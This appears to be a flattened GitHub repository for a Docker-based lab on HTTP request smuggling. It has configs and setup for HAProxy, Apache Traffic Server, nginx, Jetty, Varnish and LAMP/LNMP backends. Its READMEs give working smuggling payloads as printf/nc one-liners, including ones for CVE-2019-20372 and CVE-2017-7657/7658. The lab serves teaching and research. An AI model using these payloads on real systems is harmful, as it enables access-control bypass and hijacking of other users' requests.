├── h2c └── README.md ├── .gitignore ├── nginx ├── Dockerfile ├── check.sh ├── docker-compose.yml ├── conf.d │ └── default.conf └── README.md ├── websocket └── lab1 │ ├── img │ ├── img1.png │ └── img2.png │ ├── varnish.dockerfile │ ├── flask.dockerfile │ ├── apache.dockerfile │ ├── src │ ├── templates │ │ └── index.html │ ├── websocket.html │ ├── app.py │ └── static │ │ └── socket.io.js │ ├── docker-compose.yml │ ├── conf │ └── default.vcl │ ├── exp │ └── exp.py │ └── README.md ├── lab2 ├── lamp.Dockerfile ├── lnmp.Dockerfile ├── lamp │ └── index.php ├── check.sh ├── lnmp │ └── index.php ├── docker-compose.yml ├── ats7.Dockerfile └── README.md ├── jetty ├── check.sh ├── docker-compose.yml ├── Dockerfile └── README.md ├── lab3 ├── check.sh ├── src │ └── app.py ├── gunicorn.dockerfile ├── docker-compose.yml ├── haproxy.dockerfile └── README.md ├── lab1 ├── haproxy.Dockerfile ├── nginx.Dockerfile ├── check.sh ├── docker-compose.yml ├── ats6.Dockerfile ├── ats7.Dockerfile └── README.md └── README.md /h2c/README.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.17.6 2 | EXPOSE 80 -------------------------------------------------------------------------------- /websocket/lab1/img/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/HEAD/websocket/lab1/img/img1.png -------------------------------------------------------------------------------- /websocket/lab1/img/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/HEAD/websocket/lab1/img/img2.png -------------------------------------------------------------------------------- /lab2/lamp.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache-buster 2 | 3 | COPY ./lamp/index.php /var/www/html/index.php 4 | 5 | EXPOSE 80 -------------------------------------------------------------------------------- /jetty/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9014 -------------------------------------------------------------------------------- /lab2/lnmp.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM wyveo/nginx-php-fpm:php74 2 | 3 | COPY lnmp/index.php /usr/share/nginx/html/index.php 4 | 5 | EXPOSE 80 6 | -------------------------------------------------------------------------------- /nginx/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | |nc 127.0.0.1 9015 6 | -------------------------------------------------------------------------------- /lab2/lamp/index.php: -------------------------------------------------------------------------------- 1 | '; 3 | var_dump(getallheaders()); 4 | $data = file_get_contents("php://input"); 5 | print_r($data); -------------------------------------------------------------------------------- /websocket/lab1/varnish.dockerfile: -------------------------------------------------------------------------------- 1 | FROM varnish 2 | MAINTAINER Zedd="zeddyu.lu@gmail.com" 3 | 4 | COPY conf/default.vcl /etc/varnish/default.vcl 5 | 6 | EXPOSE 80 -------------------------------------------------------------------------------- /nginx/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | nginx_1_17_6: 4 | image: nginx:1.17.6 5 | volumes: 6 | - ./conf.d/:/etc/nginx/conf.d/ 7 | ports: 8 | - "9015:80" -------------------------------------------------------------------------------- /jetty/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | jetty9_4_9: 4 | image: jetty9_4_9 5 | build: 6 | context: . 7 | dockerfile: Dockerfile 8 | expose: 9 | - 8080 10 | ports: 11 | - "9014:8080" -------------------------------------------------------------------------------- /websocket/lab1/flask.dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | LABEL maintainer="zeddyu.lu@gmail.com" 3 | COPY ./src /app 4 | WORKDIR /app 5 | RUN pip install flask flask_socketio flask_restful eventlet 6 | EXPOSE 5000 7 | ENTRYPOINT ["python", "/app/app.py"] -------------------------------------------------------------------------------- /lab3/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9013 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host: localhost\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 9014 -------------------------------------------------------------------------------- /websocket/lab1/apache.dockerfile: -------------------------------------------------------------------------------- 1 | FROM httpd:latest 2 | MAINTAINER Zedd 3 | 4 | ENV LANG en_US.UTF-8 5 | ENV LANGUAGE en_US:en 6 | ENV LC_ALL en_US.UTF-8 7 | 8 | COPY src/websocket.html /usr/local/apache2/htdocs/ 9 | 10 | WORKDIR /usr/local/apache2/htdocs 11 | EXPOSE 80 -------------------------------------------------------------------------------- /lab3/src/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from flask import Flask, request 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def post(): 8 | # return str(request.headers) + str(request.get_data()) 9 | return request.get_data() 10 | 11 | if __name__ == '__main__': 12 | app.debug = False 13 | app.run() -------------------------------------------------------------------------------- /jetty/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM jetty:9.4.9 2 | RUN mkdir /var/lib/jetty/webapps/root 3 | RUN bash -c 'set -ex \ 4 | && cd /var/lib/jetty/webapps/root \ 5 | && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \ 6 | && unzip sample.war' 7 | EXPOSE 8080 8 | ENTRYPOINT ["/docker-entrypoint.sh"] 9 | CMD ["java","-jar","/usr/local/jetty/start.jar"] -------------------------------------------------------------------------------- /websocket/lab1/src/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 |Good luck!
22 | 23 | 24 | -------------------------------------------------------------------------------- /lab1/haproxy.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM haproxy:1.6 2 | EXPOSE 80 3 | 4 | RUN echo 'defaults\n\ 5 | mode http\n\ 6 | option http-keep-alive\n\ 7 | timeout connect 5000\n\ 8 | timeout client 10000\n\ 9 | timeout server 10000\n\ 10 | \n\ 11 | frontend http-in\n\ 12 | bind *:80\n\ 13 | mode http\n\ 14 | default_backend ats7_vhost\n\ 15 | # define (virtual)hosts\n\ 16 | acl vhost6 hdr(host) -i dummy-host6.example.com\n\ 17 | acl vhost7 hdr(host) -i dummy-host7.example.com\n\ 18 | use_backend ats6_vhost if vhost6\n\ 19 | use_backend ats7_vhost if vhost7\n\ 20 | \n\ 21 | backend ats7_vhost\n\ 22 | mode http\n\ 23 | option forwardfor\n\ 24 | server ats7 ats7:8080\n\ 25 | \n\ 26 | backend ats6_vhost\n\ 27 | mode http\n\ 28 | option forwardfor\n\ 29 | server ats6 ats6:8080\n\ 30 | \n'> /usr/local/etc/haproxy/haproxy.cfg 31 | 32 | CMD ["haproxy", "-f", "/usr/local/etc/haproxy/haproxy.cfg"] 33 | -------------------------------------------------------------------------------- /websocket/lab1/src/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from flask import Flask, render_template 4 | from flask_socketio import SocketIO 5 | from flask_restful import Resource, Api 6 | 7 | 8 | app = Flask(__name__) 9 | api = Api(app) 10 | socketio = SocketIO(app, cors_allowed_origins="*") 11 | 12 | 13 | @app.route('/') 14 | def index(): 15 | return render_template('index.html') 16 | 17 | 18 | class InternalAPI(Resource): 19 | def get(self): 20 | return {'message': 'You\'ve accessed internal API!'} 21 | 22 | 23 | class Flag(Resource): 24 | def get(self): 25 | return {'flag': 'In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!'} 26 | 27 | 28 | api.add_resource(Flag, '/flag') 29 | api.add_resource(InternalAPI, '/api/internal') 30 | 31 | 32 | @socketio.on('my event') 33 | def handle_my_custom_event(json): 34 | print('received json: ' + str(json)) 35 | pass 36 | 37 | 38 | if __name__ == '__main__': 39 | socketio.run(app, host='0.0.0.0', port=5000, debug=True) -------------------------------------------------------------------------------- /lab1/nginx.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | RUN /bin/sh -c 'rm /etc/nginx/conf.d/default.conf || /bin/true' 4 | 5 | RUN echo 'It works!
\n\ 8 | ' > /usr/share/nginx/html/index.html 9 | 10 | RUN echo 'server {\n\ 11 | listen 80;\n\ 12 | server_name dummy-host.example.com;\n\ 13 | \n\ 14 | location / {\n\ 15 | root /usr/share/nginx/html;\n\ 16 | index index.html index.htm;\n\ 17 | add_header X-Location-echo $request_uri;\n\ 18 | add_header X-Default-VH 0;\n\ 19 | add_header Cache-Control "public, max-age=300";\n\ 20 | }\n\ 21 | \n\ 22 | # redirect server error pages to the static page /50x.html\n\ 23 | #\n\ 24 | error_page 500 502 503 504 /50x.html;\n\ 25 | location = /50x.html {\n\ 26 | root /usr/share/nginx/html;\n\ 27 | }\n\ 28 | }\n'> /etc/nginx/conf.d/vhost.conf 29 | -------------------------------------------------------------------------------- /lab1/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host:dummy-host7.example.com\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 8002 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host:dummy-host7.example.com\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 8007 12 | 13 | printf 'GET / HTTP/1.1\r\n'\ 14 | 'Host:dummy-host6.example.com\r\n'\ 15 | 'Connection: close\r\n'\ 16 | '\r\n'\ 17 | | nc 127.0.0.1 8006 18 | 19 | printf 'GET / HTTP/1.1\r\n'\ 20 | 'Host:dummy-host7.example.com\r\n'\ 21 | 'Connection: close\r\n'\ 22 | '\r\n'\ 23 | | nc 127.0.0.1 8001 24 | 25 | printf 'GET / HTTP/1.1\r\n'\ 26 | 'Host:dummy-host6.example.com\r\n'\ 27 | 'Connection: close\r\n'\ 28 | '\r\n'\ 29 | | nc 127.0.0.1 8001 30 | 31 | printf 'GET /?cache=1 HTTP/1.1\r\n'\ 32 | 'Host:dummy-host7.example.com\r\n'\ 33 | '\r\n'\ 34 | 'GET /?cache=2 HTTP/1.1\r\n'\ 35 | 'Host:dummy-host7.example.com\r\n'\ 36 | '\r\n'\ 37 | 'GET /?cache=3 HTTP/1.1\r\n'\ 38 | 'Host:dummy-host6.example.com\r\n'\ 39 | '\r\n'\ 40 | 'GET /?cache=4 HTTP/1.1\r\n'\ 41 | 'Host:dummy-host6.example.com\r\n'\ 42 | '\r\n'\ 43 | | nc 127.0.0.1 8001 -------------------------------------------------------------------------------- /lab1/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | haproxy: 4 | image: labhaproxy 5 | build: 6 | context: . 7 | dockerfile: haproxy.Dockerfile 8 | expose: 9 | - 80 10 | ports: 11 | - "8001:80" 12 | # links: 13 | # - ats7:linkedats7.net 14 | # - ats6:linkedats6.net 15 | depends_on: 16 | - ats7 17 | - ats6 18 | ats7: 19 | image: labats7 20 | build: 21 | context: . 22 | dockerfile: ats7.Dockerfile 23 | expose: 24 | - 8080 25 | ports: 26 | - "8007:8080" 27 | depends_on: 28 | - nginx 29 | # links: 30 | # - nginx:linkednginx.net 31 | ats6: 32 | image: labats6 33 | build: 34 | context: . 35 | dockerfile: ats6.Dockerfile 36 | expose: 37 | - 8080 38 | ports: 39 | - "8006:8080" 40 | depends_on: 41 | - nginx 42 | # links: 43 | # - nginx:linkednginx.net 44 | nginx: 45 | image: labnginx 46 | build: 47 | context: . 48 | dockerfile: nginx.Dockerfile 49 | expose: 50 | - 80 51 | ports: 52 | - "8002:80" 53 | -------------------------------------------------------------------------------- /lab1/ats6.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-6.2.2.tar.bz2 12 | RUN tar -xvf trafficserver-6.2.2.tar.bz2 13 | WORKDIR /tmp/trafficserver-6.2.2 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-6.2.2* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host6.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy-host6.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /lab1/ats7.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-7.1.1.tar.bz2 12 | RUN tar -xvf trafficserver-7.1.1.tar.bz2 13 | WORKDIR /tmp/trafficserver-7.1.1 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-7.1.1* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host7.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy7-host.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP-Smuggling-Lab 2 | 3 | HTTP-Smuggling-Lab is a lab for learning about the http request smuggling. 4 | 5 | ## Installation 6 | 7 | use docker-compose to build the lab in each directory. 8 | 9 | ## Usage 10 | 11 | Read the README.md in details in each directory. 12 | 13 | * In Lab1, we will chain some Reverse Proxy relations, Nginx will be the final backend, HaProxy the front load balancer, and between Nginx and HaProxy we will go through ATS6 or ATS7 based on the domain name used (dummy-host7.example.com for ATS7 and dummy-host6.example.com for ATS6). 14 | * Lab2 uses ATS as front server and uses LAMP and LNMP as backend servers. 15 | * Jetty is jetty v9.4.9. You will get more information in [Jetty-README](./jetty/README.md). 16 | * Websocket Lab is about the websocket http smuggling. You will get more information in [Websocket-README](./websocket/lab1/README.md). 17 | * HTTP/2 cleartext request smuggling please use this: [h2csmuggler](https://github.com/BishopFox/h2csmuggler) 18 | 19 | You can learn more in [Help you understand HTTP Smuggling in one article](https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/) or the chinese version [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/). 20 | 21 | ## Contributing 22 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. 23 | 24 | Please make sure to update tests as appropriate. 25 | 26 | Thanks to @regilero and mengchen@Knownsec 404 Team. 27 | 28 | ## License 29 | [MIT](https://choosealicense.com/licenses/mit/) -------------------------------------------------------------------------------- /lab2/ats7.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phusion/baseimage:master 2 | RUN apt update 3 | RUN apt-get install -y wget curl build-essential software-properties-common autoconf automake libtool bzip2 libffi-dev gcc g++ openssl libssl-dev tcl-dev libpcre3 libpcre3-dev libcap-dev lua5.3 libncurses5-dev make 4 | 5 | # RUN yum clean all 6 | # RUN wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 7 | # RUN yum update -y && yum makecache 8 | WORKDIR /tmp 9 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-7.1.2.tar.bz2 10 | RUN tar -xvf trafficserver-7.1.2.tar.bz2 11 | WORKDIR /tmp/trafficserver-7.1.2 12 | RUN autoreconf -if 13 | RUN ./configure --prefix=/opt/ts \ 14 | && make -j4 \ 15 | && make check \ 16 | && make install \ 17 | && make distclean 18 | 19 | WORKDIR /tmp 20 | RUN rm -rf trafficserver-7.1.2* 21 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 22 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 23 | 24 | # activate reverse proxy 25 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 26 | RUN sed -i 's/CONFIG proxy.config.url_remap.remap_required INT 0/CONFIG proxy.config.url_remap.remap_required INT 1/g' /etc/trafficserver/records.config 27 | RUN sed -i 's/CONFIG proxy.config.http.cache.http INT 1/CONFIG proxy.config.http.cache.http INT 0/g' /etc/trafficserver/records.config 28 | 29 | 30 | RUN echo "map http://lnmp.com/ http://lnmp/" > /etc/trafficserver/remap.config 31 | RUN echo "map http://lamp.com/ http://lamp/" >> /etc/trafficserver/remap.config 32 | 33 | EXPOSE 8080 34 | 35 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 36 | -------------------------------------------------------------------------------- /websocket/lab1/README.md: -------------------------------------------------------------------------------- 1 | # Websocket - HTTP Smuggling 2 | ## Composition 3 | 4 | 1.Varnish 5 | 6 | 2.Flask 7 | 8 | ``` 9 | +---[9020]---+ 10 | | 9020->80 | 11 | | Varnish | 12 | | | 13 | +---+---+----+ 14 | [apache.net] | | [flask.net] 15 | +-------+ +-------+ 16 | | | 17 | +---[80]-----+ +---[5000]---+ 18 | | Apahce | | Flask | 19 | | | | | 20 | | | | | 21 | +-----+------+ +----+-------+ 22 | ``` 23 | 24 | 25 | 26 | 27 | 28 | ## Usage 29 | 30 | Only for POC. 31 | 32 | ### build 33 | 34 | ```bash 35 | docker-compose up 36 | ``` 37 | 38 | The varnish server will on the port 9020. 39 | 40 | 41 | 42 | ### check 43 | 44 | Visit http://localhost:9020/, you will see this: 45 | 46 |  47 | 48 | It means OK! 49 | 50 | Visit http://localhost:9020/websocket.html, you will see a websocket example. 51 | 52 |  53 | 54 | Your goal is to get the flag on the internal network flask.net. The url is /flag. Obviously you can't access the /flag from the outer network. 55 | 56 | 57 | 58 | ### reproduce 59 | 60 | There is something different from the original online environment. You need to add the filed name `Connection`. 61 | 62 | It seems like the varnish config file is important. But the author doesn't disclosure the file. 63 | 64 | The exp is in the exp/exp.py. And you need python2. 65 | 66 | 67 | 68 | # Reference 69 | 70 | https://github.com/0ang3el/websocket-smuggle -------------------------------------------------------------------------------- /lab1/README.md: -------------------------------------------------------------------------------- 1 | # LAB1 2 | 3 | ## Composition 4 | 5 | 1.HaProxy 1.6 6 | 7 | 2.Apache Traffic Server 6.2.2 8 | 9 | 3.Apache Traffic Server 7.1.1 10 | 11 | 4.nginx:latest 12 | 13 | ``` 14 | +---[80]---+ 15 | | 8001->80 | 16 | | HaProxy | 17 | | | 18 | +--+---+---+ 19 | [dummy-host6.example.com] | | [dummy-host7.example.com] 20 | +-------+ +------+ 21 | | | 22 | +-[8080]-----+ +-[8080]-----+ 23 | | 8006->8080 | | 8007->8080 | 24 | | ATS6 | | ATS7 | 25 | | | | | 26 | +-----+------+ +----+-------+ 27 | | | 28 | +-------+-------+ 29 | | 30 | +--[80]----+ 31 | | 8002->80 | 32 | | Nginx | 33 | | | 34 | +----------+ 35 | ``` 36 | 37 | 38 | 39 | ## Usage 40 | 41 | ### build 42 | 43 | ```bash 44 | docker-compose up 45 | ``` 46 | 47 | 48 | 49 | ### check 50 | 51 | ```bash 52 | $ chmod +x check.sh;./check.sh|grep HTTP 53 | HTTP/1.1 200 OK 54 | HTTP/1.1 200 OK 55 | HTTP/1.1 200 OK 56 | HTTP/1.1 200 OK 57 | HTTP/1.1 200 OK 58 | HTTP/1.1 200 OK 59 | HTTP/1.1 200 OK 60 | HTTP/1.1 200 OK 61 | HTTP/1.1 200 OK 62 | ``` 63 | 64 | 9 HTTP code 200 means all right! 65 | 66 | Enjoy! 67 | 68 | 69 | 70 | # Reference 71 | 72 | https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc5 -------------------------------------------------------------------------------- /nginx/README.md: -------------------------------------------------------------------------------- 1 | # Nginx - Http Smuggling [CVE-2019-20372] 2 | 3 | ## Composition 4 | 5 | Nginx 1.17.6 6 | 7 | 8 | 9 | ## Usage 10 | 11 | Only for PoC. 12 | 13 | ### build 14 | 15 | ```bash 16 | docker-compose up -d 17 | ``` 18 | 19 | The nginx server will on the port 9015. 20 | 21 | 22 | 23 | ### check 24 | 25 | ```bash 26 | $ chmod +x check.sh;./check.sh|grep HTTP 27 | HTTP/1.1 302 Moved Temporarily 28 | ``` 29 | 30 | 1 HTTP code 302 means all right! 31 | 32 | Enjoy! 33 | 34 | 35 | 36 | ### reproduce 37 | 38 | ```bash 39 | printf 'GET /a HTTP/1.1\r\n'\ 40 | 'Host: localhost\r\n'\ 41 | 'Content-Length: 56\r\n'\ 42 | '\r\n'\ 43 | 'GET /_hidden/index.html HTTP/1.1\r\n'\ 44 | 'Host: notlocalhost\r\n'\ 45 | '\r\n'\ 46 | |nc 127.0.0.1 9015 47 | ``` 48 | 49 | Try the command above and you will get two responses as following. 50 | 51 | ```http 52 | HTTP/1.1 302 Moved Temporarily 53 | Server: nginx/1.17.6 54 | Date: Sat, 04 Jan 2020 04:23:26 GMT 55 | Content-Type: text/html 56 | Content-Length: 145 57 | Connection: keep-alive 58 | Location: http://example.org 59 | 60 | 61 |
56 |
57 | |
58 |
59 | Sample "Hello, World" Application60 |This is the home page for a sample application used to illustrate the 61 | source directory organization of a web application utilizing the principles 62 | outlined in the Application Developer's Guide. 63 | |
64 |
To prove that they work, you can execute either of the following links: 68 |
72 | 73 | 74 | 75 | ``` 76 | 77 | 78 | 79 | #### CVE-2017-7657 Chunk size attribute truncation 80 | 81 | ```bash 82 | printf 'POST /?test=4973 HTTP/1.1\r\n'\ 83 | 'Transfer-Encoding: chunked\r\n'\ 84 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 85 | 'Host: localhost\r\n'\ 86 | '\r\n'\ 87 | '100000000\r\n'\ 88 | '\r\n'\ 89 | 'POST /?test=4974 HTTP/1.1\r\n'\ 90 | 'Content-Length: 5\r\n'\ 91 | 'Host: localhost\r\n'\ 92 | '\r\n'\ 93 | '\r\n'\ 94 | '0\r\n'\ 95 | '\r\n'\ 96 | |nc 127.0.0.1 9014|grep "HTTP/1.1" 97 | ``` 98 | 99 | You will get two 200 codes. 100 | 101 | Try this: 102 | 103 | ```bash 104 | printf 'POST /?test=4975 HTTP/1.1\r\n'\ 105 | 'Transfer-Encoding: chunked\r\n'\ 106 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 107 | 'Host: localhost\r\n'\ 108 | '\r\n'\ 109 | '1ff00000008\r\n'\ 110 | 'abcdefgh\r\n'\ 111 | '\r\n'\ 112 | '0\r\n'\ 113 | '\r\n'\ 114 | 'POST /?test=4976 HTTP/1.1\r\n'\ 115 | 'Content-Length: 5\r\n'\ 116 | 'Host: localhost\r\n'\ 117 | '\r\n'\ 118 | '\r\n'\ 119 | '0\r\n'\ 120 | '\r\n'\ 121 | |nc -q 1 127.0.0.1 9014|grep "HTTP/1.1" 122 | ``` 123 | 124 | You will get two 200 codes, too. 125 | 126 | Jetty will cut the long size to short size. For example, the first time we tried, size is 100000000. It will be treated as 0. The second time we tried, size is 1ff00000008. It will be treated as 8. 127 | 128 | So both of these, we will get two responses. 129 | 130 | 131 | 132 | #### CVE-2017-7658 Double Content-Length 133 | 134 | ```bash 135 | printf 'GET /?test=4966 HTTP/1.1\r\n'\ 136 | 'Host: localhost\r\n'\ 137 | 'Connection: keepalive\r\n'\ 138 | 'Content-Length: 45\r\n'\ 139 | 'Content-Length: 0\r\n'\ 140 | '\r\n'\ 141 | 'GET /?test=4967 HTTP/1.1\r\n'\ 142 | 'Host: localhost\r\n'\ 143 | '\r\n'\ 144 | |nc 127.0.0.1 9014 145 | ``` 146 | 147 | We will get 148 | 149 | ``` 150 | HTTP/1.1 400 Duplicate Content-Length 151 | Content-Type: text/html;charset=iso-8859-1 152 | Content-Length: 67 153 | Connection: close 154 | Server: Jetty(9.4.9.v20180320) 155 | 156 |reason: Duplicate Content-Length157 | ``` 158 | 159 | But when we try this: 160 | 161 | ```bash 162 | printf 'GET /?test=4968 HTTP/1.1\r\n'\ 163 | 'Host: localhost\r\n'\ 164 | 'Connection: keepalive\r\n'\ 165 | 'Content-Length: 0\r\n'\ 166 | 'Content-Length: 45\r\n'\ 167 | '\r\n'\ 168 | 'GET /?test=4969 HTTP/1.1\r\n'\ 169 | 'Host: localhost\r\n'\ 170 | '\r\n'\ 171 | |nc 127.0.0.1 9014 172 | ``` 173 | 174 | We will get a 200 code. So let's smuggle. 175 | 176 | ```bash 177 | printf 'GET /?test=4970 HTTP/1.1\r\n'\ 178 | 'Host: localhost\r\n'\ 179 | 'Connection: keepalive\r\n'\ 180 | 'Content-Length: 0\r\n'\ 181 | 'Content-Length: 45\r\n'\ 182 | '\r\n'\ 183 | 'GET /?test=4971 HTTP/1.1\r\n'\ 184 | 'Host: localhost\r\n'\ 185 | '\r\n'\ 186 | 'GET /?test=4972 HTTP/1.1\r\n'\ 187 | 'Host: localhost\r\n'\ 188 | '\r\n'\ 189 | |nc 127.0.0.1 9014 190 | ``` 191 | 192 | We will get two 200 codes. 193 | 194 | 195 | 196 | # Reference 197 | 198 | https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc3 199 | 200 | https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/ -------------------------------------------------------------------------------- /lab2/README.md: -------------------------------------------------------------------------------- 1 | # LAB2 2 | 3 | ## Composition 4 | 5 | 1.Apache Traffic Server 7.1.2 6 | 7 | 2.mattrayner/lamp:latest-1804 8 | 9 | 3.fbraz3/lnmp:7.1 10 | 11 | ``` 12 | +---[8080]---+ 13 | | 9010->8080 | 14 | | ATS7 | 15 | | | 16 | +---+---+----+ 17 | [lamp.com] | | [lnmp.com] 18 | +-------+ +-------+ 19 | | | 20 | +---[80]-----+ +---[80]-----+ 21 | | 9011->80 | | 9012->80 | 22 | | LAMP | | LNMP | 23 | | | | | 24 | +-----+------+ +----+-------+ 25 | ``` 26 | 27 | 28 | 29 | LNMP index.php: 30 | 31 | ```php 32 | '; 34 | if (!function_exists('getallheaders')) { 35 | 36 | function getallheaders() { 37 | $headers = array(); 38 | foreach ($_SERVER as $name => $value) { 39 | if (substr($name, 0, 5) == 'HTTP_') { 40 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 41 | } 42 | } 43 | return $headers; 44 | } 45 | 46 | } 47 | var_dump(getallheaders()); 48 | $data = file_get_contents("php://input"); 49 | print_r($data); 50 | ``` 51 | 52 | 53 | 54 | LAMP index.php: 55 | 56 | ```php 57 | '; 59 | var_dump(getallheaders()); 60 | $data = file_get_contents("php://input"); 61 | print_r($data); 62 | ``` 63 | 64 | 65 | 66 | ## Usage 67 | 68 | ### build 69 | 70 | ```bash 71 | docker-compose up 72 | ``` 73 | 74 | 75 | 76 | ### check 77 | 78 | ```bash 79 | $ chmod +x check.sh;./check.sh|grep HTTP 80 | HTTP/1.1 200 OK 81 | HTTP/1.1 200 OK 82 | HTTP/1.1 200 OK 83 | HTTP/1.1 200 OK 84 | ``` 85 | 86 | 4 HTTP code 200 means all right! 87 | 88 | Enjoy! 89 | 90 | 91 | 92 | ## POC 93 | 94 | ### First Patch 95 | 96 | https://github.com/apache/trafficserver/pull/3192 97 | 98 | > Return 400 if there is whitespace after the field name and before the colon 99 | 100 | Use burp or other tools to send this: 101 | 102 | ```http 103 | GET / HTTP/1.1 104 | Host: lnmp.com 105 | Content-Length : 47 106 | 107 | GET / HTTP/1.1 108 | Host: 